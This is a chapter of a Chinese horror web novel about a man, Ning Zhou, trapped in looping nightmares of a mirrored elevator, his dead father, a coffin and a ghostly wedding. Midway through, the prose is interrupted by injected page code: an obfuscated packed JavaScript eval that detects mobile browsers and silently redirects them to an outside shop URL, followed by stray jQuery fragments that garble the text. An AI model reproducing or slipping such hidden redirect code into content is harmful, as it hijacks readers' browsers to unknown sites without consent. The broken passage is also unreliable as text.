就算记忆不清晰,宁洲也对于镜子这件事印象深刻。
他们小区是一个破旧的老小区,原本连电梯都没有,是那些高楼层的老年住户爬上爬下不方便,物业后来又加装的。
有人提过,想要效仿高端小区,也在电梯里弄个镜子,但被各位老业主一致驳回了。
他们说,这么大块镜子,容易见光煞。
当时宁洲不知道什么是光煞,只是看他们个个都神情严肃,便在心里种下了个“这事很严重”的印象。
可现在,这个又破又小,只有供人上下通行的电梯,什么时候弄了面干净漂亮的大镜子?
宁洲看着镜子中映出的自己的样子,个子挺高,黑裤子黑上衣,头发乱蓬蓬地顶在头上,浓密的发丝又黑又亮,单看头发或许会以为这是个年轻小伙子,可青黑的眼窝,细密的胡茬,惊恐又疲惫的眼睛硬生生把他拉成个丧气的中年男人。
不知为何,宁洲总觉得周围的空气都在微微晃动,或者说是,扭曲?
宁洲不自觉地眯起眼睛,感觉眼前像是隔了一层沙尘,越来越模糊。
他的视线从头顶一路向下,落到脚面,再落到身后。
没有影子。
宁洲耳边响起一阵刺耳的嗡鸣,眼前一花,随即肩膀被重重一拍,只觉脚下发软,猛地往前一扑。
“哥,你干嘛呢?”
荣星的手搭在他肩上,眉眼中有些担心。
宁洲低头,浅灰色的影子铺在脚下。
“看啥呢哥。”荣星也低头看了看脚下。
宁洲摇摇头。
他回头看向房间里,妈妈这次没有坐在沙发上,而是站了起来,和一个中年男人聊天。
脸上挂着笑。
宁洲不可置信地换了个角度去看,而男人也正巧往宁洲的方向看过来。
“爸?!”宁洲惊叫出声,不可置信的叫喊险些破音。
他爸明明去世了!
宁洲刚想出声质问,却发现自己张了张嘴却不知道该说些什么。
他连他爸什么时候死的都不知道!
宁洲用力砸了几下脑袋,疼痛没有让他想起来什么,反而整个人像是溺水一般,喘不过气来了。
荣星拉住了他:“哥,你还好吗?”
紧跟着是妈妈的声音:“小洲,你回来了。”
然后是爸爸的声音:“宁洲,今天人家小星结婚,你乱跑什么?像什么样子!没家教!”
宁洲的耳边响起一阵短促的嗡鸣。
他抬起眼睛,看到爸爸的嘴还在一张一合,却没有声音传过来。
到底发生了什么?这一切到底是什么回事?
突然,毛玻璃覆盖着的世界下透出一道声音。
那是一道极其缓慢的,清晰的,鼓点声。
宁洲眼前的世界慢慢暗下来,光亮的轮廓聚拢起来,变成了端端正正放在桌子上的寿衣。
香灰缭绕,鼓点愈发急促,再一转眼,宁洲穿着那套寿衣,被人放进棺材里,耳边是嘈杂的哭声。
似乎有纸钱落到了他的脸上,居然让他感觉到一丝灼伤的痛苦。
眼前有白光闪过,那似乎是手机屏幕的光,紧接着是消息提示音。
“小洲,小洲,醒醒。”
谁?
怎么又是妈妈?
他为什么要说又?
宁洲揉了揉发涨的脑袋,疼得倒吸了一口凉气。
“小洲,你是不是又做噩梦了?”
宁洲点点头。
梦?什么梦?
妈妈替他抓了抓头发:“小洲,别发呆了,迟到可不好。”
宁洲站起来,原本是在楼道一侧的电梯门此刻却正对着门口,电梯门打开,镜子里映出一张僵硬的面孔。
走在前面正准备出门的妈妈又回头喊了他一下:“你去看看你爸走了没有。”
宁洲走到爸爸的房间,打开门,里面空空荡荡,没有人。
宁洲走出来对着妈妈摇摇头,就见妈妈似乎有些生气,耷拉着脸,嘴里嘟嘟囔囔:“又不等人,一天天的见不到个人影,出去鬼混……”
爸爸自从换了工作,总是天天不着家,两人因为这个事都不知道吵了多少回了。
宁洲都三十多了,早就有了自己的事业,可也因为常年不着家,倒让妈妈自己在家受了不少委屈。
想到这,宁洲走过去,挽住妈妈的胳膊:
“没事妈,还有我呢。”
宁洲想,过段时间就把现在的工作辞了,回家找个工作,多陪陪妈妈。
两人走楼梯上了楼,木门紧闭着,上面歪歪扭扭地贴了一个红囍字。
宁洲敲敲门。
他把手放了下来。
可楼道里依旧响着敲门声。
宁洲环顾四周,想确定声音的来源,那声音却又断了。
门很快开了。
男人笑着招呼他们进去:“随便坐。”
宁洲走到屋里那面大穿衣镜前,理了理发型。
谁给他的小红花?什么时候别到他衣服上了?
宁洲又抓了抓头发,满意地看着镜中的自己,刚想问一下花的事,一道熟悉的声音从身后传来:
“哥,你来啦!”
宁洲走过去和荣星来了个大大的拥抱,寒暄一阵,被手机提示音打断了。
“你怎么还在睡?”
这话没头没脑,宁洲看着空白的联系人只觉得是谁的恶作剧,关了手机,跟着荣星一起下楼。
坐在车上,宁洲听着荣星兴奋地和开车的发小说着话,瞌睡虫反扑,不知不觉耷拉着脑袋昏睡过去。
一路上宁洲只迷迷糊糊感觉到些颠簸,直到车子停下,外面响起欢闹的礼炮声,宁洲才猛地惊醒,揉了揉酸痛的脖子,还没反应过来,就被拉着下了车。
日光猛地射向他的眼睛,宁洲下意识用胳膊去挡,这才发现自己正被人一左一右架着胳膊。
宁洲挣了挣,却没想到旁边两人抓得紧紧的,硬是没挣脱开。
这下宁洲清醒了,恼火地踢了其中一人一脚,脚感轻飘飘的。
两人似乎都没有注意到他的情绪,依旧不为所动,只拉着他往门里面走去。
宁洲的力量不敌两人,只能被扯着往前走。
周围的人乌泱泱围上来,堵上了宁洲的退路。
那些人的神情都是放松的,喜悦的,头顶沐浴着阳光,暖融融的发丝透着光,平添了几丝圣洁的味道。
如果忽视被簇拥在中间的宁洲的话。
宁洲用力抵抗着如潮水般涌上来的人,扯着嗓子喊荣星的,喊那个开车的发小,喊妈妈,喊能叫上名字的在现场的所有人。
没有人回应他。
所有人说说笑笑,仿佛宁洲和他们分属于两个世界。
他只能用脚死死扒着门框,可这肯定坚持不了多久。
门后等待他的会是什么?
里面似乎没有开灯,只有一团浓郁的黑暗。
宁洲总觉得这场景在哪里见过。
还没等他细想,突然被人绊了一下,原本就已经疲惫不堪的肌肉直接泄了劲。
宁洲踉跄着被拖到了一片黑暗之中。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980201|214809||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
好像有人在喊他的名字,可浓重的黑色盖着,声音怎么也不明晰。
宁洲尝试着活动了下身体,却发现架着他的两个人竟随着他的动作嘎吱嘎吱地响。
随着他抽出手,这两个人便如失了魂智一般,直挺挺地倒在地上,激起一片呛人的灰尘气。
宁洲在脸前扇了扇,只觉得手腕酸痛异常,不出意外会是一片青紫。
“宁——洲——”
拖长的调子不带感情。
伴着一声声鼓点。
宁洲听出来这是母亲的声音。
可她为什么要这样喊?
宁洲不明所以,可他下意识觉得,妈妈不会害他,于是他扯着嗓子大声回应:
“妈,我在这!”
鼓声停了,呼喊声也停了,一到刺眼的白光闪过,宁洲下意识挡住眼睛,耳边是一个陌生女人的声音,她说:“回来了——回来了——”
紧接着是汽笛声。
宁洲适应了一下光线,发现自己正站在小区外边的十字路口。
又是梦吗?
宁洲晃晃脑袋,发现自己出了一身冷汗。
怎么走着路还能睡着呢?
宁洲打开手机看了眼时间,几条未读消息正躺在屏幕上,他刚想划开看一眼,就听到马路对面有人在喊他。
“哥,快来!”
是荣星。
宁洲冲他笑着摆摆手,看了眼信号灯。
还是红的。
这条路平常车流量就很大,等不及绿灯就过的人多多少少都付出过惨痛的代价。
荣星今日穿着黑T恤黑裤子,顶着乱蓬蓬的头发,一幅还没睡醒的散漫样。
面前有辆红车经过。
宁洲再定睛一看,马路对面的荣星,不知何时穿上了件红色袍子。
像……新郎?
宁洲揉了揉眼睛。
又是一辆车经过。
荣星换回了那套黑衣服。
可能是看错了吧。
宁洲笑了笑,对面的荣星也对他笑了笑。
宁洲举起手。
荣星也举起了手。
宁洲放下,后退了半步。
又一辆车经过。
荣星就那样直直地站立在马路对面。
信号灯闪了几下,变成了绿色。
而就在这一瞬间,荣星的身形闪了闪。
他披着那件红色婚服。
原本喧嚣的街道突然被按下了暂停键,落针可闻。
宁洲看到荣星张了张嘴:“哥,过来啊。”
没有声音。
宁洲往前迈一步,荣星就也笑着往前迈一步。
宁洲不动了。
荣星歪歪头,似乎有些困惑,而后,他突然咧开嘴,露出一个大大的,快要咧到耳朵根的笑容。
宁洲的汗毛瞬间倒竖,他想后退,后背却被一双手抵住了。
那双手的主人发出一声他再熟悉不过的声音:“小洲,不是回家吗,怎么不走了?”
宁洲想起来,今天他和妈妈一起出来买菜。
他已经辞去工作一周了,现在在家陪着妈妈。
可……
宁洲看了看天色,看了看被按下暂停键的四周,又看了看,
他身上穿着的,一身婚服。
似乎是感受到了他的抗拒,身后那双手猛地用力,宁洲不受控制地往前扑去,整个世界倏地又播放起来。
紧接着是一阵刺耳的刹车声。
“回来了——回来了——”
谁?在说话……